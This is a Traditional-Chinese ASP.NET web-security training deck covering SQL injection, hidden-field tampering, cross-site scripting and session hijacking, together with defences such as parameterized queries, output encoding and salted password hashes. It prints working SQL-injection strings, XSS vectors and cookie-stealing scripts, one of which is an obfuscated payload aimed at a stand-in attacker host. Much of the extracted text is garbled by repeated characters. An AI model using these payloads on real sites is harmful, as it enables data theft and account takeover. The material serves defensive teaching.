![設(shè)計(jì)安全的網(wǎng)站系統(tǒng)_第1頁(yè)](http://file4.renrendoc.com/view/abad35defb12266c62e4c52935c09dee/abad35defb12266c62e4c52935c09dee1.gif)
![設(shè)計(jì)安全的網(wǎng)站系統(tǒng)_第2頁(yè)](http://file4.renrendoc.com/view/abad35defb12266c62e4c52935c09dee/abad35defb12266c62e4c52935c09dee2.gif)
![設(shè)計(jì)安全的網(wǎng)站系統(tǒng)_第3頁(yè)](http://file4.renrendoc.com/view/abad35defb12266c62e4c52935c09dee/abad35defb12266c62e4c52935c09dee3.gif)
![設(shè)計(jì)安全的網(wǎng)站系統(tǒng)_第4頁(yè)](http://file4.renrendoc.com/view/abad35defb12266c62e4c52935c09dee/abad35defb12266c62e4c52935c09dee4.gif)
![設(shè)計(jì)安全的網(wǎng)站系統(tǒng)_第5頁(yè)](http://file4.renrendoc.com/view/abad35defb12266c62e4c52935c09dee/abad35defb12266c62e4c52935c09dee5.gif)
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
設(shè)計(jì)安全的網(wǎng)站系統(tǒng)
資策會(huì)教育訓(xùn)練處王寧疆
MCAD.NET/MCSD.NET/MCT議程網(wǎng)站安全管制人人有責(zé)預(yù)防SQLInjection攻擊法預(yù)防HiddenFieldTampering攻擊法預(yù)防Cross-SiteScripting攻擊法預(yù)防SessionHijacking攻擊網(wǎng)頁(yè)基本防護(hù)法將帳號(hào)/密碼資料存放到Windows的登錄資訊網(wǎng)站安全管制人人有責(zé)網(wǎng)頁(yè)開(kāi)發(fā)者,架構(gòu)工程師,系統(tǒng)管理員人人有責(zé)攻擊應(yīng)用程式常見(jiàn)的手法攻擊手法攻擊實(shí)例SQLinjection串連SQL敘述(例如DROPTABLE)攻擊資料庫(kù)或是資料庫(kù)中的記錄。Cross-sitescripting利用惡意的JavaScript偷取網(wǎng)站使用者的Cookie資訊,或是破壞網(wǎng)頁(yè)顯示的資訊。Hidden-fieldtampering修改網(wǎng)頁(yè)隱藏欄位的內(nèi)容,圖謀不軌。Eavesdropping使用packetsniffer之類的工具偷取在網(wǎng)路上傳送的未加密資料(例如帳號(hào)、密碼、或cookies)Sessionhijacking偷取網(wǎng)站使用者的SessionID,入侵使用者的Session。Identityspoofing利用竊得的帳號(hào)和密碼冒用網(wǎng)站使用者的身份。Informationdisclosure網(wǎng)站執(zhí)行發(fā)生例外時(shí)讓網(wǎng)站的使用者看到例外的詳細(xì)資訊。網(wǎng)頁(yè)攻擊手法與受害原因Cross-siteScripting(XSS)
受害原因:未對(duì)使用者輸入的資料執(zhí)行編碼處理SQLInjection 受害原因:利用使用者輸入的資料組成SQL敘述SessionHijacking 受害原因:SessionID被猜中或SessionIDCookie被竊One-click 受害原因:使用Script傳送HTTPPostHiddenFieldtampering 受害原因:未對(duì)網(wǎng)頁(yè)中隱藏欄位的內(nèi)容做檢查SQLInjection攻擊法SQLInjection攻擊模式入侵登入畫(huà)面植入帳號(hào)刪除資料表偷取資料表資訊修改資料表記錄入侵登入畫(huà)面欲執(zhí)行的SQL敘述SELECTcount(*)FROMMembersWHEREUserName='John' ANDPassword='ABC'直接入侵不良的SQL敘述寫(xiě)法 SELECTcount(*)FROMMembersWHEREUserName='"&_ txtUserName.Text&"'ANDPassword='"&_ txtPassword.Text&"'"在[帳號(hào)]欄位輸入以下的資料就可以登入成功:
'OR1=1—程式所執(zhí)行的SQL敘述變成: SELECTcount(*)FROMMembersWHEREUserName=''OR1=1–AndPassword=''植入帳號(hào)與刪除資料表在[帳號(hào)]欄位輸入以下的資料就可以新增駭客帳號(hào):
';insertintoMembers(UserName,Password)Values('hacker','foo')—權(quán)限足夠的狀況下,在[帳號(hào)]欄位輸入以下的資料就可以刪除Members資料表:
';droptableMembers--不需要密碼也可以登入在[密碼]欄位輸入以下的資料就可以成功登入:
aaa'OrUserNameLike'%程式所執(zhí)行的SQL敘述變成:
SELECTcount(*)FROMMembersWHEREUserName=''AndPassword='aaa'OrUserNameLike'%'利用Url傳遞網(wǎng)頁(yè)執(zhí)行行需要的參數(shù)數(shù)http://localhost/GoodSupplierProduct/Products.aspx?SupplierID=1不良的程式寫(xiě)寫(xiě)法DimstrSQLAsString=“SELECT*FROMProductsWHERESupplierid=”&_Request("SupplierID").ToString()查詢SQLServer的版本在網(wǎng)址列輸入入:http://localhost/BadSupplierProduct/Products.aspx?SupplierID=9999unionallselectnull,@@ServiceName,null,null,@@version,null,null,null,null,null讀取資料庫(kù)的的資料表在網(wǎng)址列輸入入:http://localhost/BadSupplierProduct/Products.aspx?SupplierID=9999unionallselectnull,name,null,null,null,null,null,null,null,nullfromsysobjectswherextype='u'資料表名稱讀取資料表的的欄位在網(wǎng)址列輸入入:http://localhost/BadSupplierProduct/Products.aspx?SupplierID=9999unionallselectnull,name,null,null,null,null,null,null,null,nullfromsyscolumnswhereid=object_id('Products')andcolid=1欄位名稱修改資料表記記錄在網(wǎng)址列輸入入:http://localhost/BadSupplierProduct/Products.aspx?SupplierID=9999;updateProductssetUnitPrice=1WhereProductID=1防堵SQLInjection攻擊的基本原原則(一)將使用者輸入入資料當(dāng)做參參數(shù)傳給SQL敘述或StoredProcedureSQL敘述或是StoredProcedure中使用EXEC敘述執(zhí)行使用用者輸入的內(nèi)內(nèi)容需更進(jìn)一一步防範(fàn)如果無(wú)法將使使用者輸入資資料當(dāng)做參數(shù)數(shù)傳給SQL敘述或StoredProcedure使用RegularExpression驗(yàn)証使用者輸輸入的資料的的格式限制使用者輸輸入的資料的的長(zhǎng)度限制使用者登登入資料庫(kù)的的帳號(hào)的權(quán)限限去除使用者輸輸入資料中的的“--”(SQL敘述的註解)將使用者輸入入的單引號(hào)置置換成雙引號(hào)號(hào)將使用者輸入入的單引號(hào)置置換成雙引號(hào)號(hào)的效果例如原本欲執(zhí)執(zhí)行的SQL敘述為:Selectcount(*)fromMemberswhereUserName='John'AndPassword='ABC'使用者在UserName欄位輸入['Or1=1--]未將使用者輸輸入的單引號(hào)號(hào)置換成雙引引號(hào),上述的SQL敘述執(zhí)行的結(jié)結(jié)果為Members資料表的總筆數(shù)將使用者輸入入的單引號(hào)置置換成雙引號(hào)號(hào),上述的的SQL敘述執(zhí)執(zhí)行的的結(jié)果果為0防堵SQLInjection攻擊的的基本本原則則(二)限制應(yīng)應(yīng)用程程式或或網(wǎng)頁(yè)頁(yè)只能能擁有有執(zhí)行行StoredProcedure的權(quán)限限,不能直直接存存取資資料庫(kù)庫(kù)中的的Table和View使用[Windows整合安安全模模式]登入資資料庫(kù)庫(kù),避免使使用系系統(tǒng)管管理員員身份份登入入資料料庫(kù)設(shè)定TextBox欄位的的MaxLength屬性加強(qiáng)對(duì)對(duì)資料料庫(kù)操操作的的稽核核HiddenFieldTampering攻擊法法HiddenFieldTampering攻擊模模式把HTMLForm存到硬硬碟竄改Hidden欄位的的內(nèi)容容值將竄改改過(guò)的的Form重送到到WebServerBadM使用隱隱藏欄欄位在在網(wǎng)頁(yè)頁(yè)中傳傳遞資資料隱藏欄欄位中中的資資料被被竄改改的情情形檢視帶帶有隱隱藏欄欄位的的網(wǎng)頁(yè)頁(yè)的[原始檔檔]另存新新HTML檔案修改存存檔內(nèi)內(nèi)容<formname=“Form1”method=““post”action=““http://IP位址/BadMotor/Confirm.aspx?MotorID=1””id=“Form1”>…<inputname="HiddenPrice"id="HiddenPrice"type="hidden"value="1000000"/>…</form>使用IE開(kāi)啟另另存的的HTML檔案執(zhí)行Submit竄改成成1阻擋HiddenFieldTampering攻擊的的方法法檢查HTTP_REFERER的內(nèi)容容讀取HttpWebRequest類別的的Headers集合的的Referer成員IfRequest.ServerVariables("HTTP_REFERER")IsNothingThenLabel1.Text="CatchYou!"ElseLabel1.Text="完成扣扣款:"&Request("Price")&"元!"EndIf使用MessageDigest自己做做使用ServerControl,啟用ViewState重要的的資訊訊不要要存放放在HiddenFieldCross-SiteScripting攻擊法法Web應(yīng)用程程式最最常見(jiàn)見(jiàn)的漏漏洞之之一曾經(jīng)受受害的的知名名網(wǎng)站站眾多多,包括:FBI.gov,CNN.com,T,Ebay,Yahoo,Applecomputer,Microsoft,Zdnet,Wired,與Newsbytes每個(gè)月月約有有10~25個(gè)網(wǎng)站站被發(fā)發(fā)現(xiàn)有有XSS的漏洞洞2002eWeekOpenHack大賽得得主找找到兩兩個(gè)XSS弱點(diǎn)常受XXS攻擊的的網(wǎng)頁(yè)頁(yè):搜尋網(wǎng)網(wǎng)頁(yè),討論群群,留言板板,登入畫(huà)畫(huà)面..Cross-SiteScripting攻擊模模式竊取網(wǎng)網(wǎng)頁(yè)使使用者者的個(gè)個(gè)人資資料(包括SessionID,Cookies)重導(dǎo)網(wǎng)網(wǎng)頁(yè),破壞網(wǎng)網(wǎng)頁(yè)顯顯示的的內(nèi)容容(改變顯顯示的的文字字和圖圖形),執(zhí)行無(wú)無(wú)窮迴迴圈…Cross-SiteScripting攻擊手手法<script>document.location.href='';</script><script><divstyle="display:none">偷取Cookie的做法法–提供誘誘之以以利的的網(wǎng)頁(yè)頁(yè)<ahref="42/BadSearch/Search.aspx?Search=<scriptlanguage='javascript'>document.location.href='42/BadSearch/GetCookie1.aspx?Cookie='%2Bdocument.cookie;</script>">...</a><ahref="42/BadSearch/Search.aspx?Search=<scriptlanguage='javascript'>document.location.href='42/BadSearch/MiddlePage.aspx?Cookie='%2Bdocument.cookie;</script>">...</a>取得超超連結(jié)結(jié)網(wǎng)址址的Cookie誘騙點(diǎn)選選的危險(xiǎn)險(xiǎn)郵件Click目標(biāo)網(wǎng)站透過(guò)中間間網(wǎng)頁(yè)傳傳送Cookie到駭客的的網(wǎng)頁(yè)MiddlePage.aspx<FORMaction=42/BadSearch/GetCookie2.aspxmethod=postid="idForm"><INPUTname="cookie"type="hidden"></FORM><SCRIPT>idForm.cookie.value=document.cookie;idForm.submit();</SCRIPT>阻擋Cross-SiteScripting攻擊的錯(cuò)錯(cuò)誤方法法檢查使用用者輸入入的資料料是否內(nèi)內(nèi)含"<"和">"無(wú)法防範(fàn)範(fàn)以下的的攻擊:<scriptlanguage=JScriptRUNAT=Server>varstrUserName=Request.QueryString("Name");</script><imgsrc=pic.jpgonmouseover='doWork("<%=strUserName%>");'><imgsrc=pic.jpgonmouseover='doWork("Freddy");alert(document.cookie);'");'>使用者輸輸入:Freddy");alert(document.cookie);'各種Cross-SiteScripting攻擊方法法(一)<ahref="javascript#[code]"><divonmouseover="[code]"><imgsrc="javascript:[code]"><imgdynsrc="javascript:[code]"><inputtype="image"dynsrc="javascript:[code]"><bgsoundsrc="javascript:[code]">&<script>[code]</script>&{[code]};<imgsrc=&{[code]};><linkrel="stylesheet"href="javascript:[code]"><iframesrc="vbscript:[code]"><imgsrc="mocha:[code]">各種Cross-SiteScripting攻擊方法法(二)<imgsrc="livescript:[code]"><ahref="about:<script>[code]</script>"><metahttp-equiv="refresh"content="0;url=javascript:[code]"><bodyonload="[code]"><divstyle="background-image:url(javascript:[code]);"><divstyle="behaviour:url([linktocode]);"><divstyle="binding:url([linktocode]);"><divstyle="width:expression([code]);"><styletype="text/javascript">[code]</style><objectclassid="clsid:..."codebase="javascript:[code]"><style><!--</style><script>[code]//--></script><![CDATA[<!--]]><script>[code]//--></script>各種Cross-SiteScripting攻擊方法(三)<!--><script>[code]</script><!------><<script>[code]</script><imgsrc="blah"onmouseover="[code]"><imgsrc="blah>"onmouseover="[code]"><xmlsrc="javascript:[code]"><xmlid="X"><a><b><script>[code]</script>;</b></a></xml><divdatafld="b"dataformatas="html"datasrc="#X"></div>[\xC0][\xBC]script>[code][\xC0][\xBC]/script>各種Cross-SiteScripting攻擊方法(四)隱藏超連結(jié)中中惡意的Script各種Cross-SiteScripting攻擊方法(五)<ahref=““/webmonkey/00/18/index3a_page2.html?tw=<script>varu=String.fromCharCode(0x0068);u%2B=String.fromCharCode(0x0074);u%2B=String.fromCharCode(0x0074);u%2B=String.fromCharCode(0x0070);u%2B=String.fromCharCode(0x003A);u%2B=String.fromCharCode(0x002F);u%2B=String.fromCharCode(0x002F);u%2B=String.fromCharCode(0x0061);u%2B=String.fromCharCode(0x0074);u%2B=String.fromCharCode(0x0074);u%2B=String.fromCharCode(0x0061);u%2B=String.fromCharCode(0x0063);u%2B=String.fromCharCode(0x006B);u%2B=String.fromCharCode(0x0065);u%2B=String.fromCharCode(0x0072);u%2B=String.fromCharCode(0x002E);u%2B=String.fromCharCode(0x0063);u%2B=String.fromCharCode(0x006F);u%2B=String.fromCharCode(0x006D);u%2B=String.fromCharCode(0x002F);u%2B=String.fromCharCode(0x0073);u%2B=String.fromCharCode(0x0074);u%2B=String.fromCharCode(0x0065);u%2B=String.fromCharCode(0x0061);u%2B=String.fromCharCode(0x006C);u%2B=String.fromCharCode(0x002E);u%2B=String.fromCharCode(0x0063);u%2B=String.fromCharCode(0x0067);u%2B=String.fromCharCode(0x0069);u%2B=String.fromCharCode(0x003F);u%2B=/steal.cgi?阻擋Cross-SiteScripting攻擊的正確方方法不要把Page的ValidateRequest屬性設(shè)定成False特殊狀況:允許使用者傳傳送電子賀卡卡時(shí)加一段HTML格式的訊息,或是允許使用用者傳送HTML格式的文件,例如Email或討論群發(fā)佈佈的訊息不信任使用者者輸入的資料料:TextBox,Url,Cookie,HTTPHeader加入編碼使用HttpUtility類別的HtmlEncode方法/UrlEncode方法處理使用者輸輸入的資料,屬性和事件最最好使用雙引引號(hào)包起來(lái)設(shè)定TextBox控制項(xiàng)的MaxLength屬性對(duì)Cookie資料加密了解駭客各種種攻擊手法%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E<script>alert(document.cookie)</script>面對(duì)Cross-SiteScripting的使用者自保保方法禁用IE的Script功能將IE的安全性設(shè)定定[高安全性]不要亂按Email中的超連結(jié)不要亂按不信信任網(wǎng)站中的的超連結(jié)直接瀏覽存放放有重要資訊訊的網(wǎng)站,不要透過(guò)ThirdParty網(wǎng)站的超連結(jié)結(jié)來(lái)瀏覽盡量不要瀏覽覽曾遭駭客攻攻擊的網(wǎng)站SessionHijacking攻擊SessionHijacking攻擊模式猜測(cè)SessionID/竊取SessionIDCookie–小心使用CookielessSession冒用受害人的的身份-IdentitySpoofing阻擋SessionHijacking攻擊的方法重要的資料不不要存放在Cookie中使用ASP.NET預(yù)設(shè)的120-bitSessionID使用SSL(SecureSocketLayer)保護(hù)SessionIDCookie(非100%安全)縮短Session效期(預(yù)設(shè)為20分鐘)如果Session存放在ASP.NETState服務(wù),記得關(guān)閉Port42424不對(duì)外如果Session存放在SQLServer服務(wù),記得關(guān)閉Port1433和Port1434不對(duì)外對(duì)SessionID資料執(zhí)行雜湊湊處理WebServer1WebServer2WebFarmSQLServerWindowsServerPort:42424Port:14331434sessionState設(shè)定與安全管管制sessionState設(shè)定:Off,InProc(預(yù)設(shè)值),SQLServer,StateServersessionState="SQLServer"sessionState="StateServer"對(duì)SessionID雜湊處理(一)使用HttpHandler和HttpModule攔截進(jìn)出WebServer的訊息HttpModule1HttpModule2HttpModuleN..HttpHandler1HttpHandlerN..訊息訊息對(duì)SessionID雜湊處理(二)SecureSessionIDSessionStateModuleSessionIDSessionID+MAC第一次RequestSecureSessionIDSessionStateModuleSessionIDSessionID+MAC第二次Request檢查失敗引發(fā)例外對(duì)SessionID雜湊處理(三)<configuration><system.web><httpModules><addname="SecureSessionID"type="MACSessionID.AppendMACSessionID,MACSessionID"/></httpModules></system.web></configuration>製作執(zhí)行雜湊湊的HttpModule(四)ImportsSystem.WebImportsSystem.ConfigurationImportsSystem.TextImportsSystem.Security.CryptographyImportsSystem.IO…PublicClassAppendMACSessionIDImplementsIHttpModulePublicSubInit(ByValcontextAsSystem.Web.HttpApplication)_ImplementsSystem.Web.IHttpModule.InitAddHandlercontext.BeginRequest,AddressOfOnBeginRequestAddHandlercontext.EndRequest,AddressOfOnEndRequestEndSub…EndClass處理BeginRequest事件(五)PrivateSubOnBeginRequest(ByValsenderAsObject,ByValeAsEventArgs)DimRequestAsHttpRequest=CType(sender,HttpApplication).RequestDimCookieAsHttpCookie=FindCookie(Request.Cookies,"ASP.NET_SessionId")IfNotCookieIsNothingThenIfCookie.Value.Length<=24ThenThrowNewException("拒絕存取")EndIfDimidAsString=Cookie.Value.Substring(0,24)Dimmac1AsString=Cookie.Value.Substring(24)Dimmac2AsString=GenerateMac(id,Request.UserHostAddress,Request.UserAgent)IfString.CompareOrdinal(mac1,mac2)<>0ThenThrowNewException("拒絕存取")EndIfCookie.Value=idEndIfEndSub處理EndRequest事件(六)PrivateSubOnEndRequest(ByValsenderAsObject,ByValeAs_EventArgs)DimrequestAsHttpRequest=CType(sender,_HttpApplication).RequestDimcookieAsHttpCookie=FindCookie(CType(sender,_HttpApplication).Response.Cookies,"ASP.NET_SessionId")IfNotcookieIsNothingThencookie.Value=cookie.Value&GenerateMac(cookie.Value,_request.UserHostAddress,request.UserAgent)EndIfEndSub網(wǎng)頁(yè)基本防防護(hù)法使用者輸入入的資料必必須驗(yàn)証後後再使用使用權(quán)限較較低的帳號(hào)號(hào)登入資料料庫(kù)並進(jìn)行行操作,並依據(jù)使用用者的角色色區(qū)分權(quán)限限,所有的資料料庫(kù)操作都都經(jīng)由StoredProcedure或ParameterizedQuery進(jìn)行操作機(jī)密資料必必須加密後後才經(jīng)由網(wǎng)網(wǎng)路傳送,或是乾脆存存放在伺服服器上,並做好保護(hù)護(hù)儲(chǔ)存在資料料庫(kù)中的密密碼要做好好加密驗(yàn)証使用者者的身份,強(qiáng)制要求使使用StrongPassword將web.config設(shè)定檔中的的帳號(hào)/密碼資料存存到Windows的登錄資訊訊中關(guān)閉網(wǎng)站的的Trace和Debug功能避免使用CookielessSession驗(yàn)証使用者者輸入的資資料ValidateRequest屬性預(yù)設(shè)值為True當(dāng)網(wǎng)站需要要讓使用者者輸入javascript語(yǔ)法時(shí)(例如討論群群或搜尋網(wǎng)網(wǎng)頁(yè))必須設(shè)定為為FalseHttpUtility類別的UrlEncode/HtmlEncode方法將使用用者輸入的的資料編碼碼善用RegularExpression驗(yàn)証使用者者是否輸入入合法的資資料安全的資料料庫(kù)操作方方法使用StoredProcedure或ParameterizedQuery對(duì)資料庫(kù)進(jìn)進(jìn)行操作DimstrConnAsString="…"DimstrSQLAsString="Member_Insert"DimconnAsSqlConnection=NewSqlConnection(strConn)DimcmdAsSqlCommand=NewSqlCommand(strSQL,conn)cmd.CommandType=CommandType.StoredProcedureDimp1AsSqlParameter=NewSqlParameter("@UserName",_SqlDbType.NVarChar,16)p1.Direction=ParameterDirection.Inputp1.Value=txtUserName.Textcmd.Parameters.Add(p1)conn.Open()DimnumAsInteger=cmd.ExecuteNonQuery()MessageBox.Show(num&"筆記錄新增增成功!")cmd.Dispose()conn.Close()conn.Dispose()對(duì)機(jī)密資料料加密對(duì)稱式加密密法效能良好非對(duì)稱式加加密法安全性佳雜湊加密法法不可還原(One-Way)鍵盤(pán)輸入密碼(ABCD)密碼:ABCDDB看的懂未對(duì)存放到到資料庫(kù)中中的密碼執(zhí)執(zhí)行加密銀行櫃員申請(qǐng)帳戶加加密碼的客客戶不安全的的做法鍵盤(pán)輸入密碼碼(ABCD)密碼:7A#BFDB看不懂不可還原原的加密密處理對(duì)存放到到資料庫(kù)庫(kù)中的密密碼執(zhí)行行加密銀行櫃員員申請(qǐng)帳戶戶加密碼碼的客戶戶安全的做做法Hash加密的問(wèn)問(wèn)題相同的密密碼經(jīng)過(guò)過(guò)Hash演算法加加密之後後會(huì)得到到相同的的結(jié)果(不夠安全全的做法法)無(wú)法防範(fàn)範(fàn)dictionaryattack5753A498F025464D72E088A9D5D6E872592D5F91使用者的的密碼:"John"經(jīng)過(guò)SHA1雜湊法處處理後的的結(jié)果字典JackJohn把字典的的字一一一取出做做SHA1雜湊處理理Bingo解決方法法強(qiáng)迫使用用者使用用StrongPassword使用者第第一個(gè)受受害程式設(shè)計(jì)計(jì)師第二二個(gè)受害害使用改良良式的Hash加密法為為密碼加加密–SaltedHashHash+亂數(shù)=SaltedHash1.使用Random類別產(chǎn)生生2.使用RNGCryptoServiceProvider類別產(chǎn)生生建立SaltedHashesDimrngAsRNGCryptoServiceProvider=_NewRNGCryptoServiceProviderDimbuf(15)AsByterng.GetBytes(buf)DimsaltAsString=_Convert.ToBase64String(buf)cmdSaltedHash.Parameters("@UserName").Value=_txtUserName.TextcmdSaltedHash.Parameters("@Password").Value=_FormsAuthentication.HashPasswordForStoringInConfigFile(salt&txtPassword.Text,"sha1")cmdSaltedHash.Parameters("@Salt").Value=salt使用RegularExpression驗(yàn)証StrongPasswordImportsSystem.Text.RegularExpressionsIfRegex.IsMatch(txtPassword.Text,_"^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])"&_“(?=.*[\-\+\?\*\$\[\]\^\.\(\)\|`~!@#%&_={}:;‘,/]).{8,16}$")ThenMessageBox.Show("正確確!")ElseMessageBox.Show("錯(cuò)誤誤!")EndIf將帳號(hào)/密碼資料料存放到Windows的登錄錄資訊使用WindowsNT整合安全全模式連連線資料料庫(kù),連線資料料庫(kù)的資資訊中不不會(huì)出現(xiàn)現(xiàn)帳號(hào)和和密碼資資訊在Web.config中設(shè)定登登入資料料庫(kù)的Windows帳號(hào)和密密碼<identityimpersonate="true"userName="someuser"password="tosecret"/>將web.config檔案中中的UserName,Password儲(chǔ)存到到
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 施工方案對(duì)工程建設(shè)的經(jīng)濟(jì)效益分析
- 跨學(xué)科視角下的情感教育實(shí)踐研究
- 音色感知在小學(xué)音樂(lè)欣賞中的重要性及其教學(xué)方法
- 藝術(shù)設(shè)計(jì)與宗教文化的互動(dòng)商業(yè)空間的創(chuàng)新之路
- DB3715T 71-2025楊樹(shù)退化林修復(fù)技術(shù)規(guī)程
- 二手設(shè)備轉(zhuǎn)讓合同模板
- 2025年雜志宣傳合作協(xié)議(合同)
- 個(gè)人房屋買賣合同模板大全
- 二手房銷售合同模板大全
- 個(gè)人信用借款擔(dān)保合同范本
- 河北省邯鄲市永年區(qū)2024-2025學(xué)年九年級(jí)上學(xué)期期末考試化學(xué)試卷(含答案)
- 2025年閥門和龍頭項(xiàng)目發(fā)展計(jì)劃
- 消防員證考試題庫(kù)2000題中級(jí)
- 農(nóng)產(chǎn)品質(zhì)量安全檢測(cè)技術(shù)
- 【蟬媽媽】2024年抖音電商酒水行業(yè)趨勢(shì)洞察報(bào)告
- 海洋垃圾處理行業(yè)可行性分析報(bào)告
- 公共部門績(jī)效管理案例分析
- 無(wú)人機(jī)培訓(xùn)計(jì)劃表
- 2025初級(jí)會(huì)計(jì)理論考試100題及解析
- 2024屆高考英語(yǔ)詞匯3500左右
- 2024年-2025年海船船員考試-船舶人員管理考試題及答案
評(píng)論
0/150
提交評(píng)論